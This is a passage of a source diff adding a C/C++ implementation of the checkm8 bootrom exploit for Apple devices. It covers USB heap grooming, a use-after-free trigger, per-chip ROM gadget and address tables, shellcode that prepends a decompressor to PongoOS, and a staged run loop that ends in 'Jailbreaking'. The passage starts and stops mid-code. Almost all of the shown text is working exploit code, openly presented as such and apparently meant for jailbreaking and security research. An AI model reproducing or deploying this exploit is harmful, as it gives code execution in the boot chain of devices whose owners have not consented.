LOG("Failed to send payload!"); + } + + // This is the trigger for execution + ret = send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); + LOG("Checkmate!"); + + if (overwrite != NULL) { free(overwrite); } + return true; + } else { + LOG("Failed to send overwrite!"); + } + +cleanup: + return false; +} diff --git a/src/m8/checkm8.h b/src/m8/checkm8.h new file mode 100644 index 0000000..0df15f2 --- /dev/null +++ b/src/m8/checkm8.h @@ -0,0 +1,29 @@ +#ifndef CHEKMC8_H +#define CHEKMC8_H + +#include "payload.h" + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +bool checkm8_reset(usb_handle_t *handle); +bool checkm8_stall(usb_handle_t *handle); +bool checkm8_usb_request_stall(usb_handle_t *handle); +bool checkm8_send_leaking_zlp(usb_handle_t *handle); +bool checkm8_send_normal_zlp(usb_handle_t *handle); +bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config); +bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config); + +bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig); + +#ifdef __cplusplus +} +#endif + +#endif // CHEKMC8_H + diff --git a/src/m8/dfu.c b/src/m8/dfu.c new file mode 100644 index 0000000..d65fa50 --- /dev/null +++ b/src/m8/dfu.c @@ -0,0 +1,64 @@ +#include "dfu.h" + +#include +#include +#include +#include + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif +#include "payload.h" + +bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { + struct { + uint8_t status, poll_timeout[3], state, str_idx; + } dfu_status; + transfer_ret_t transfer_ret; + + return send_usb_control_request(handle, 0xA1, DFU_GETSTATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) + && dfu_status.status == status && dfu_status.state == state; +} + +bool dfu_device_set_await_reset(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); +} + +int dfu_serial_number_get_cpid(char *serial) { + char *cpid = strstr(serial, "CPID:"); + if (cpid == NULL) { return -1; } + return strtol(cpid + 5, NULL, 16); +} + +int dfu_serial_number_get_bdid(char *serial) { + char *bdid = strstr(serial, "BDID:"); + if (bdid == NULL) { return -1; } + return strtol(bdid + 5, NULL, 16); +} + +bool dfu_serial_number_is_in_dfu_mode(char *serial) { + char *DFU = strstr(serial, "SRTG"); + return DFU != NULL; +} + +bool dfu_serial_number_is_pwned(char *serial) { + char *pwnd = strstr(serial, "PWND:"); + return pwnd != NULL; +} + +bool dfu_serial_number_is_in_yolo_dfu(char *serial) { + char *yolo = strstr(serial, "YOLO"); + return yolo != NULL; +} + +bool device_serial_number_is_in_pongo_os(char *serial) { + char *pongo = strstr(serial, "SRTG:[PongoOS"); + return pongo != NULL; +} diff --git a/src/m8/dfu.h b/src/m8/dfu.h new file mode 100644 index 0000000..74dc7bc --- /dev/null +++ b/src/m8/dfu.h @@ -0,0 +1,42 @@ +#ifndef DFU_H +#define DFU_H + +#include + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif + +#define DFU_DNLOAD 1 +#define DFU_UPLOAD 2 +#define DFU_GETSTATUS 3 +#define DFU_CLRSTATUS 4 +#define DFU_GETSTATE 5 +#define DFU_ABORT 6 + +#define DFU_FILE_SUFFIX_LENGTH 16 +#define EP0_MAX_PACKET_SIZE 0x40 +#define DFU_MAX_TRANSFER_SIZE 0x800 +#define DFU_STATUS_OK 0 +#define DFU_STATE_MANIFEST_SYNC 6 +#define DFU_STATE_MANIFEST 7 +#define DFU_STATE_MANIFEST_WAIT_RESET 8 + +#ifdef __cplusplus +extern "C" { +#endif + +bool dfu_device_set_await_reset(const usb_handle_t *handle); + +int dfu_serial_number_get_cpid(char *serial); +bool dfu_serial_number_is_in_dfu_mode(char *serial); +bool dfu_serial_number_is_pwned(char *serial); +bool dfu_serial_number_is_in_yolo_dfu(char *serial); +bool device_serial_number_is_in_pongo_os(char *serial); + +#ifdef __cplusplus +} +#endif + +#endif // DFU_H + diff --git a/src/m8/payload.c b/src/m8/payload.c new file mode 100644 index 0000000..c0e8136 --- /dev/null +++ b/src/m8/payload.c @@ -0,0 +1,392 @@ +#include "payload.h" + +#include +#include + +#include "../utils/log.h" +#include "dfu.h" +#include "../gen/payloads/t8015.h" +#include "../gen/payloads/t8011.h" +#include "../gen/payloads/t8010.h" +#include "../gen/payloads/s8003.h" +#include "../gen/payloads/s8001.h" +#include "../gen/payloads/s8000.h" +#include "../gen/payloads/t7001.h" +#include "../gen/payloads/t7000.h" + +bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config) { + bool foundMatchingConfiguration = true; + switch (cpid) { + case 0x8015: + case 0x8012: + case 0x8011: + config->cpid = cpid; + config->largeLeak = 0; + config->overwritePadding = 0x540; + config->hole = 6; + break; + case 0x8010: + config->cpid = cpid; + config->largeLeak = 0; + config->overwritePadding = 0x5C0; + config->hole = 5; + break; + case 0x8001: + config->cpid = cpid; + config->largeLeak = 0; + config->overwritePadding = 0x5C0; + config->hole = 6; + break; + case 0x8003: + case 0x8000: + case 0x7001: + case 0x7000: + config->cpid = cpid; + config->largeLeak = 0; + config->overwritePadding = 0x500; + config->hole = 0; + break; + default: + LOG("CPID 0x%x is not supported!", cpid); + if (cpid > 0x8015) { + LOG("arm64e devices (A12 and newer) will never be supported."); + } + + foundMatchingConfiguration = false; + break; + } + return foundMatchingConfiguration; +} + +bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config) { + bool foundMatchingConfiguration = true; + switch (cpid) { + case 0x8015: + config->tlbi = 0x1000004AC; + config->nopGadget = 0x10000A9C4; + config->retGadget = 0x100000148; + config->patchAddress = 0x10000624C; + config->ttbr0Address = 0x18000C000; + config->functionGadget = 0x10000A9AC; + config->ttbr0Write = 0x10000045C; + config->memcpyAddress = 0x10000E9D0; + config->aesCryptoCommand = 0x100009E9C; + config->bootTrampolineEnd = 0x18001C000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180003A78; + config->dfu_handle_request_address = 0x180008638; + config->usb_core_do_transfer = 0x10000B9A8; + config->dfu_handle_bus_reset_address = 0x180008668; + config->insecureMemoryBase = 0x18001C000; + config->handle_interface_request = 0x10000BCCC; + config->usb_create_string_descriptor = 0x10000AE80; + config->usb_serial_number_string_descriptor = 0x1800008FA; + break; + case 0x8012: + config->tlbi = 0x100000494; + config->nopGadget = 0x100008DB8; + config->retGadget = 0x10000012C; + config->patchAddress = 0x100004854; + config->ttbr0Address = 0x18000C000; + config->functionGadget = 0x100008DA0; + config->ttbr0Write = 0x100000444; + config->memcpyAddress = 0x10000EA30; + config->aesCryptoCommand = 0x1000082AC; + config->bootTrampolineEnd = 0x18001C000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180003AF8; + config->dfu_handle_request_address = 0x180008B08; + config->usb_core_do_transfer = 0x10000BD20; + config->dfu_handle_bus_reset_address = 0x180008B38; + config->insecureMemoryBase = 0x18001C000; + config->handle_interface_request = 0x10000BFFC; + config->usb_create_string_descriptor = 0x10000B1CC; + config->usb_serial_number_string_descriptor = 0x18000082A; + break; + case 0x8011: + config->tlbi = 0x100000444; + config->nopGadget = 0x10000CD0C; + config->retGadget = 0x100000148; + config->patchAddress = 0x100007630; + config->ttbr0Address = 0x1800A0000; + config->functionGadget = 0x10000CCEC; + config->ttbr0Write = 0x1000003F4; + config->memcpyAddress = 0x100010950; + config->aesCryptoCommand = 0x10000C994; + config->bootTrampolineEnd = 0x1800B0000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180083D28; + config->dfu_handle_request_address = 0x180088A58; + config->usb_core_do_transfer = 0x10000DD64; + config->dfu_handle_bus_reset_address = 0x180088A88; + config->insecureMemoryBase = 0x1800B0000; + config->handle_interface_request = 0x10000E08C; + config->usb_create_string_descriptor = 0x10000D234; + config->usb_serial_number_string_descriptor = 0x18008062A; + break; + case 0x8010: + config->tlbi = 0x100000434; + config->nopGadget = 0x10000CC6C; + config->retGadget = 0x10000015C; + config->patchAddress = 0x1000074AC; + config->ttbr0Address = 0x1800A0000; + config->functionGadget = 0x10000CC4C; + config->ttbr0Write = 0x1000003E4; + config->memcpyAddress = 0x100010730; + config->aesCryptoCommand = 0x10000C8F4; + config->bootTrampolineEnd = 0x1800B0000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180083CF8; + config->dfu_handle_request_address = 0x180088B48; + config->usb_core_do_transfer = 0x10000DC98; + config->dfu_handle_bus_reset_address = 0x180088B78; + config->insecureMemoryBase = 0x1800B0000; + config->handle_interface_request = 0x10000DFB8; + config->usb_create_string_descriptor = 0x10000D150; + config->usb_serial_number_string_descriptor = 0x1800805DA; + break; + case 0x8001: + config->tlbi = 0x100000404; + config->nopGadget = 0x10000CD60; + config->retGadget = 0x100000118; + config->patchAddress = 0x100007668; + config->ttbr0Address = 0x180050000; + config->functionGadget = 0x10000CD40; + config->ttbr0Write = 0x1000003B4; + config->memcpyAddress = 0x1000106F0; + config->aesCryptoCommand = 0x10000C9D4; + config->bootTrampolineEnd = 0x180044000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180047578; + config->dfu_handle_request_address = 0x18004C378; + config->usb_core_do_transfer = 0x10000DDA4; + config->dfu_handle_bus_reset_address = 0x18004C3A8; + config->insecureMemoryBase = 0x180000000; + config->handle_interface_request = 0x10000E0B4; + config->usb_create_string_descriptor = 0x10000D280; + config->usb_serial_number_string_descriptor = 0x18004486A; + break; + case 0x8003: + case 0x8000: + config->patchAddress = 0x10000812C; + config->ttbr0Address = 0x1800C8000; + config->memcpyAddress = 0x100011030; + config->aesCryptoCommand = 0x10000DAA0; + config->bootTrampolineEnd = 0x1800E1000; + config->ttbr0VROMOffset = 0x400; + config->ttbr0SRAMOffset = 0x600; + config->gUSBSerialNumber = 0x180087958; + config->dfu_handle_request_address = 0x1800878F8; + config->usb_core_do_transfer = 0x10000EE78; + config->dfu_handle_bus_reset_address = 0x180087928; + config->insecureMemoryBase = 0x180380000; + config->handle_interface_request = 0x10000F1B0; + config->usb_create_string_descriptor = 0x10000E354; + config->usb_serial_number_string_descriptor = 0x1800807DA; + break; + case 0x7001: + config->patchAddress = 0x10000AD04; + config->memcpyAddress = 0x100013F10; + config->aesCryptoCommand = 0x100010A90; + config->bootTrampolineEnd = 0x1800E1000; + config->gUSBSerialNumber = 0x180088E48; + config->dfu_handle_request_address = 0x180088DF8; + config->usb_core_do_transfer = 0x100011BB4; + config->dfu_handle_bus_reset_address = 0x180088E18; + config->insecureMemoryBase = 0x180380000; + config->handle_interface_request = 0x100011EE4; + config->usb_create_string_descriptor = 0x100011074; + config->usb_serial_number_string_descriptor = 0x180080C2A; + break; + case 0x7000: + config->patchAddress = 0x100007E98; + config->memcpyAddress = 0x100010E70; + config->aesCryptoCommand = 0x10000DA90; + config->bootTrampolineEnd = 0x1800E1000; + config->gUSBSerialNumber = 0x1800888C8; + config->dfu_handle_request_address = 0x180088878; + config->usb_core_do_transfer = 0x10000EBB4; + config->dfu_handle_bus_reset_address = 0x180088898; + config->insecureMemoryBase = 0x180380000; + config->handle_interface_request = 0x10000EEE4; + config->usb_create_string_descriptor = 0x10000E074; + config->usb_serial_number_string_descriptor = 0x18008062A; + break; + default: + LOG("CPID 0x%x is not supported!", cpid); + foundMatchingConfiguration = false; + } + return foundMatchingConfiguration; +} + +uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize) { + LOG("Preparing overwrite for YoloDFU mode."); + uint64_t *overwrite = malloc(0x30); + overwrite[5] = payloadConfig->insecureMemoryBase; + *overwriteSize = 0x30; + return (uint8_t *)overwrite; +} + +uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize) { + LOG("Preparing YoloDFU payload for CPID 0x%x.", deviceConfig->cpid); + switch (deviceConfig->cpid) { + case 0x8015: + *payloadSize = t8015_len; + return (uint8_t *)t8015; + case 0x8011: + *payloadSize = t8011_len; + return (uint8_t *)t8011; + case 0x8010: + *payloadSize = t8010_len; + return (uint8_t *)t8010; + case 0x8003: + *payloadSize = s8003_len; + return (uint8_t *)s8003; + case 0x8001: + *payloadSize = s8001_len; + return (uint8_t *)s8001; + case 0x8000: + *payloadSize = s8000_len; + return (uint8_t *)s8000; + case 0x7001: + *payloadSize = t7001_len; + return (uint8_t *)t7001; + case 0x7000: + *payloadSize = t7000_len; + return (uint8_t *)t7000; + default: + LOG("Failed to prepare payload for device with CPID 0x%x.", deviceConfig->cpid); + return NULL; + } +} + + +// TODO: move l8r + +bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle) { + char *serialNumber = NULL; + wait_usb_handle(handle); + serialNumber = get_usb_device_serial_number(handle); + if (serialNumber == NULL) { + LOG("Failed to get device serial number."); + close_usb_handle(handle); + return false; + } + unsigned totalTime = 0; + while (!dfu_serial_number_is_in_yolo_dfu(serialNumber)) { + wait_usb_handle(handle); + free(serialNumber); + serialNumber = get_usb_device_serial_number(handle); + close_usb_handle(handle); + if (serialNumber == NULL) { + LOG("Failed to get device serial number."); + return false; + } + sleep_ms(100); + totalTime += 100; + if (totalTime >= 15000) { + LOG("Device failed to enter Yolo DFU mode."); + return false; + } + } + close_usb_handle(handle); + return true; +} + +#include +#include "../gen/payloads/Pongo.h" +#include "../gen/payloads/lz4dec.h" +#include + +bool prepare_pongo(unsigned char **pongoBuf, size_t *size) +{ + size_t shellcodeSize, pongoSize; + void *shellcode, *pongo; + + // The shellcode that is appended to the beginning of the + // LZ4-compressed Pongo is actually an LZ4 decompressor + // that decompresses the Pongo image into memory. + // It is, in effect, a self-extracting payload. + + shellcodeSize = lz4dec_len; + shellcode = malloc(shellcodeSize); + memcpy(shellcode, lz4dec, shellcodeSize); + + pongoSize = Pongo_len; + pongo = malloc(pongoSize); + memcpy(pongo, Pongo, pongoSize); + + // Compress PongoOS + char *pongoCompressed = malloc(pongoSize); + LOG("Compressing PongoOS"); + pongoSize = LZ4_compress_HC(pongo, pongoCompressed, pongoSize, pongoSize, LZ4HC_CLEVEL_MAX); + if (pongoSize == 0) { + LOG("Failed to compress PongoOS"); + return false; + } + + // Add shellcode to PongoOS + LOG("Adding shellcode to PongoOS"); + void *tmp = malloc(pongoSize + shellcodeSize); + memcpy(tmp, shellcode, shellcodeSize); + memcpy(tmp + shellcodeSize, pongoCompressed, pongoSize); + free(pongo); + pongo = tmp; + pongoSize += shellcodeSize; + free(shellcode); + + // Write size of compressed Pongo into data for decompressor + uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc); + *pongoSizeInData = pongoSize - shellcodeSize; + + // Update parameters + *pongoBuf = pongo; + *size = pongoSize; + + return true; +} + +bool send_pongo_to_yolo_dfu(usb_handle_t *handle) { + unsigned char *pongoData = NULL; + size_t pongoSize = 0; + if (!prepare_pongo(&pongoData, &pongoSize) || pongoData == NULL || pongoSize == 0) { + LOG("Failed to prepare PongoOS."); + return false; + } + bool ret = false; + if (wait_usb_handle(handle)) { + if (dfu_serial_number_is_in_yolo_dfu(get_usb_device_serial_number(handle))) { + size_t lengthSent = 0, size; + transfer_ret_t transferRet; + while (lengthSent < pongoSize) { + retry: + size = ((pongoSize - lengthSent) > 0x800) ? 0x800 : (pongoSize - lengthSent); + send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongoData + lengthSent, size, &transferRet); + if (transferRet.sz != size || transferRet.ret != USB_TRANSFER_OK) { + LOG("Retrying at size 0x%lx...", size); + sleep_ms(100); + goto retry; + } + lengthSent += size; + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); + close_usb_handle(handle); + sleep_ms(100); + init_usb_handle(handle, 0x5AC, 0x4141); + wait_usb_handle(handle); + free(pongoData); + LOG("Device is now in PongoOS!"); + ret = true; + } + else { + free(pongoData); + LOG("Device is not in Yolo DFU mode!"); + } + } + return ret; +} diff --git a/src/m8/payload.h b/src/m8/payload.h new file mode 100644 index 0000000..bb4ac7f --- /dev/null +++ b/src/m8/payload.h @@ -0,0 +1,39 @@ +#ifndef PAYLOAD_H +#define PAYLOAD_H + +#include +#include + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +struct DeviceConfiguration { + uint64_t cpid, largeLeak, overwritePadding, hole; +}; + +struct PayloadConfiguration { + uint64_t tlbi, nopGadget, retGadget, patchAddress, ttbr0Address, functionGadget, ttbr0Write, + memcpyAddress, aesCryptoCommand, bootTrampolineEnd, ttbr0VROMOffset, ttbr0SRAMOffset, + gUSBSerialNumber, dfu_handle_request_address, usb_core_do_transfer, dfu_handle_bus_reset_address, + insecureMemoryBase, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; +}; + +bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config); +bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config); +uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize); +uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize); + +// TODO? move +bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle); +bool send_pongo_to_yolo_dfu(usb_handle_t *handle); + +#ifdef __cplusplus +} +#endif + +#endif // PAYLOAD_H diff --git a/src/m8/run.cpp b/src/m8/run.cpp new file mode 100644 index 0000000..bd69171 --- /dev/null +++ b/src/m8/run.cpp @@ -0,0 +1,139 @@ +#include "run.hpp" + +#include +#include +#include + +#include "../utils/log.h" + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif +#include "dfu.h" +#include "payload.h" +#include "checkm8.h" + +std::atomic_bool stopThreads{false}; + +bool checkm8(enum ExploitMode mode) { + usb_handle_t *handle = NULL; + + auto dfu_handle = std::make_unique(); + auto pongo_handle = std::make_unique(); + + init_usb_handle(dfu_handle.get(), 0x5AC, 0x1227); + init_usb_handle(pongo_handle.get(), 0x5AC, 0x4141); + + std::thread dfu_thread(wait_usb_handle, dfu_handle.get()); + std::thread pongo_thread(wait_usb_handle, pongo_handle.get()); + + dfu_thread.detach(); + pongo_thread.detach(); + + LOG("Waiting for device..."); + + for (;;) { + sleep_ms(200); + + if (dfu_handle->device) { + LOG("Found device in DFU mode!"); + handle = dfu_handle.get(); + break; + } else if (pongo_handle->device) { + LOG("Found device in Pongo!"); + handle = pongo_handle.get(); + break; + } + } + + stopThreads = true; + sleep_ms(200); + stopThreads = false; + + struct DeviceConfiguration deviceConfig; + struct PayloadConfiguration payloadConfig; + bool ret = false; + int stage = STAGE_PREPARE; + + while (stage != STAGE_DONE && wait_usb_handle(handle)) { + switch (stage) { + case STAGE_PREPARE: { + LOG("Preparing device..."); + + char *serialNumber = get_usb_device_serial_number(handle); + if (!serialNumber) goto finished; + + if (!checkm8_find_device_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &deviceConfig)) { goto finished; } + if (!checkm8_find_payload_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &payloadConfig)) { goto finished; } + if (dfu_serial_number_is_in_yolo_dfu(serialNumber)) { LOG("Found device in Yolo DFU mode!"); stage = STAGE_PONGO; goto yolodfu; } + if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); stage = STAGE_JAILBREAK; goto pongo; } + else if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); return 0; } + if (dfu_serial_number_is_pwned(serialNumber)) { LOG("Device is already pwned!"); return true; } + if (!dfu_serial_number_is_in_dfu_mode(serialNumber)) { LOG("Device is not in DFU mode!"); return false; } + + free(serialNumber); + stage = STAGE_RESET; + goto reset; + } + case STAGE_RESET: + reset: + LOG("Resetting device..."); + ret = checkm8_reset(handle); + LOG("Reset %s.", ret ? "succeeded" : "failed"); + stage = STAGE_HEAP_SPRAY; + case STAGE_HEAP_SPRAY: + LOG("Stage 1: heap spray..."); + ret = checkm8_heap_feng_shui(handle, &deviceConfig); + LOG("Heap spray %s.", ret ? "succeeded" : "failed"); + stage = STAGE_TRIGGER; + case STAGE_TRIGGER: + LOG("Stage 2: trigger use-after-free..."); + ret = checkm8_trigger_UaF(handle, &deviceConfig); + LOG("Trigger %s.", ret ? "succeeded" : "failed"); + stage = STAGE_PATCH; + case STAGE_PATCH: + LOG("Stage 3: payload execution..."); + ret = checkm8_send_overwrite_and_payload(handle, &deviceConfig, &payloadConfig); + LOG("Patching %s.", ret ? "succeeded" : "failed"); + if (!ret) goto finished; + close_usb_handle(handle); + sleep_ms(3000); + LOG("If your device is stuck on the Apple logo, please unplug and replug."); + ret = wait_for_device_to_enter_yolo_dfu(handle); + stage = ret ? STAGE_PONGO : STAGE_DONE; + case STAGE_PONGO: + yolodfu: + LOG("Sending PongoOS..."); + ret = send_pongo_to_yolo_dfu(handle); + stage = STAGE_JAILBREAK; + case STAGE_JAILBREAK: + pongo: + LOG("Jailbreaking..."); + break; + + case STAGE_DONE: + break; + } + + if (stage != STAGE_JAILBREAK && + stage != STAGE_DONE && + stage != STAGE_PONGO) + { + reset_usb_handle(handle); + } + + if (!ret && stage != STAGE_HEAP_SPRAY) + { + goto finished; + } + } + +finished: + if (ret) { + LOG("%s succeeded.", mode == MODE_PONGOOS ? "Booting PongoOS" : "Exploit"); + } else { + LOG("Exploit failed at stage %d!", stage == STAGE_PREPARE ? stage : stage - 1); + } + + return ret; +} diff --git a/src/m8/run.hpp b/src/m8/run.hpp new file mode 100644 index 0000000..7f6ddf4 --- /dev/null +++ b/src/m8/run.hpp @@ -0,0 +1,22 @@ +#ifndef RUN_H +#define RUN_H + +enum ExploitStage { + STAGE_PREPARE = 0, + STAGE_RESET = 1, + STAGE_HEAP_SPRAY = 2, + STAGE_TRIGGER = 3, + STAGE_PATCH = 4, + STAGE_PONGO = 5, + STAGE_JAILBREAK = 6, + STAGE_DONE = 7, +}; + +enum ExploitMode { + MODE_CHECKM8 = 0, + MODE_PONGOOS = 1, +}; + +bool checkm8(enum ExploitMode mode); + +#endif // RUN_H diff --git a/src/m8/usb-libusb.c b/src/m8/usb-libusb.c new file mode 100644 index 0000000..7848776 --- /dev/null +++ b/src/m8/usb-libusb.c @@ -0,0 +1,233 @@ +#include "usb-libusb.h" + +#include "../utils/log.h" + +#include +#include +#include +#include +#ifndef __WIN32 +# include +#endif + +#include + +void sleep_ms(unsigned ms) { + #ifdef __WIN32 + Sleep(ms); + #else + struct timespec ts; + ts.tv_sec = ms / 1000; + ts.tv_nsec = (ms % 1000) * 1000000L; + nanosleep(&ts, NULL); + #endif +} + +void close_usb_handle(usb_handle_t *handle) { + libusb_close(handle->device); + libusb_exit(NULL); +} + +void reset_usb_handle(usb_handle_t *handle) { + libusb_reset_device(handle->device); +} + +extern bool stopThreads; + +bool wait_usb_handle(usb_handle_t *handle) { + if (stopThreads) { + LOG("Thread stopped."); + return false; + } + if(libusb_init(NULL) == LIBUSB_SUCCESS) { + for(;;) { + if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { + if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { + return true; + } + libusb_close(handle->device); + } + sleep_ms(USB_TIMEOUT); + } + } + return false; +} + +bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout) { + unsigned totalTime = 0; + if(libusb_init(NULL) == LIBUSB_SUCCESS) { + for(;;) { + if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { + if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { + return true; + } + libusb_close(handle->device); + } + sleep_ms(USB_TIMEOUT); + totalTime += USB_TIMEOUT; + if (totalTime >= timeout) { + return false; + } + } + } + return false; +} + +void usb_async_callback(struct libusb_transfer *transfer) { + *(int *)transfer->user_data = 1; +} + +bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) { + int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, 0); + + if(transferRet != NULL) { + if(ret >= 0) { + transferRet->sz = (uint32_t)ret; + transferRet->ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + transferRet->ret = USB_TRANSFER_STALL; + } else { + transferRet->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) { + int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, USB_TIMEOUT); + + if(transferRet != NULL) { + if(ret >= 0) { + LOG("ok? %d", ret); + transferRet->sz = (uint32_t)ret; + transferRet->ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + LOG("stalled? %d", ret); + transferRet->ret = USB_TRANSFER_STALL; + } else { + LOG("errr? %d", ret); + transferRet->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) { + struct libusb_transfer *transfer = libusb_alloc_transfer(0); + struct timeval tv; + int completed = 0; + uint8_t *buf; + + if(transfer != NULL) { + if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + wLength)) != NULL) { + if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { + memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, pData, wLength); + } + libusb_fill_control_setup(buf, bmRequestType, bRequest, wValue, wIndex, (uint16_t)wLength); + libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_callback, &completed, USB_TIMEOUT); + if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { + tv.tv_sec = usbAbortTimeout / 1000; + tv.tv_usec = (usbAbortTimeout % 1000) * 1000; + while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { + libusb_cancel_transfer(transfer); + } + if(completed != 0) { + if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { + memcpy(pData, libusb_control_transfer_get_data(transfer), transfer->actual_length); + } + if(transferRet != NULL) { + transferRet->sz = (uint32_t)transfer->actual_length; + if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { + transferRet->ret = USB_TRANSFER_OK; + } else if(transfer->status == LIBUSB_TRANSFER_STALL) { + transferRet->ret = USB_TRANSFER_STALL; + } else { + transferRet->ret = USB_TRANSFER_ERROR; + } + } + } + } + free(buf); + } + libusb_free_transfer(transfer); + } + return completed != 0; +} + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} + +bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length) { + int transferred; + int interfaceRet = libusb_claim_interface(handle->device, 0); + if (interfaceRet != LIBUSB_SUCCESS) { + LOG("Failed to claim interface"); + return -1; + } + int ret = libusb_bulk_transfer(handle->device, 0x2, buffer, length, &transferred, 100); + if (ret == LIBUSB_ERROR_PIPE) { + LOG("USB pipe error sending bulk upload"); + } else if (ret == LIBUSB_ERROR_TIMEOUT) { + LOG("USB timeout sending bulk upload"); + } + libusb_release_interface(handle->device, 0); + return transferred == length; +} + + +bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet) { + bool ret = false; + void *pData; + + if (wLength == 0) { + ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, transferRet); + } else if ((pData = malloc(wLength)) != NULL) { + memset(pData, '\0', wLength); + ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, transferRet); + free(pData); + } + return ret; +} + +bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) { + bool ret = false; + void *pData; + + if (wLength == 0) { + ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, usbAbortTimeout, transferRet); + } else if ((pData = malloc(wLength)) != NULL) { + memset(pData, '\0', wLength); + ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, usbAbortTimeout, transferRet); + free(pData); + } + return 